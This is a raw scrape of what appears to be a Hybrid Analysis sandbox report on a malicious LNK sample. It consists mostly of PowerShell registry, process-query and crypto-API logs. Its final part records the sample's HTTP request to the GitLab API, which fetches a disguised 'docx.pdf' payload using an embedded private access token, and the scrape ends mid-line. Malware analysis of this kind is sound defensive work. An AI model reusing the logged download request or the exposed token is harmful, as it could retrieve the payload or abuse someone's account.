24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 5a:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4d2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious CMD:BZC.YAX.Pantera.229 Sample 2df24d850d6a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2df24d850d6a…. Malware family: CMD:BZC.YAX.Pantera.229. Threat score 100/100. 8/25 AV engines flagged this file. 8 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e","keywords":["Malicious","CMD:BZC.YAX.Pantera.229","malware analysis","sandbox report","threat intelligence","2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e"],"about":{"@type":"SoftwareApplication","name":"2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e.bin","applicationCategory":["lnk"],"identifier":"2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"CMD:BZC.YAX.Pantera.229","antivirusDetections":{"malicious":8,"total":25},"behavioralIndicators":{"malicious":8,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Te76,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.12") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.12") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.15") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.15") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.20") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.20") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.25") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.25") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.26") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.26") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.27") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.27") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.28") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.28") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.30") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.30") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.4") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.1.4") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.4.2") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.4.2") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.4.3") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.4.3") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.4.4") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\1.3.6.1.4.1.311.2.4.4") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTSIPDLLGETCAPS")26:Ta26,"powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2518536506 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2518545482 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2519092118 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2519101400 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2521448044 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2521456463 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2522024460 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2522033411 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2522788853 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2523302536 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2523312303 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2523716968 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00006444-00000C15-2523726580 [PID: 6444] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2525620007 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2525628614 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2527044168 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2527053062 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2527969529 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2527977852 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2528142320 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2528155743 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2528441371 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2528452139 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2529415784 [PID: 5528] "powershell.exe" queried SystemProcessInformation at 00000000-00005528-00000C15-2529947365 [PID: 5528]27:Tcc3,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "c0a0fede02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "c08efede02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "c089fede02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "c093fede02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10a0ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10aeecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10b4ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10c2ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10a6ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10b1ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "108becfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10b0ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10b3ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10beecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10aaecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10a2ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "1094ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "10a4ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "1091ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "1090ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "1087ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "10b3ecfa02020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "10b1ecfa02020000" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"}28:T13ed,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f0c3e1fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0bae1fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "50bee1fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0c7e1fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b0c7e1fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "20c7e1fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d003e3fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c007e3fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "8005e3fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "`6" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "pQ" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae762d0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f04fe6fa02020000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae762d0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "8050e6fa02020000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "J" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e050e6fa02020000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "J" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f046e6fa02020000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae762d0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e04de6fa02020000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae762d0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "9046e6fa02020000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "PM" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "8047e6fa02020000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e04ae6fa02020000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae75f10" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a051e6fa02020000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "904ce6fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "202fae1fcd0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "804de6fa02020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"}29:T1e68,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "40cbfede02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "40d2fede02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e0cdfede02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50cefede02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80c9fede02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defe8ec0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "60cafede02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defe8ec0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0cefede02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defe8ec0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "501ee6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80d8e6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "40dae6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "60d9e6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defea0c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "60e0e6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defe8ec0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "40dae6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defe8ec0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b0dae6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defe89c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e0dce6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defe89c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50dde6fa02020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "202defe93c0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80dfe6fa02020000"}2a:T19a1,Contains base64 string in header "main" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "1PRIVATE" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "bKit/537" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "/145" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: 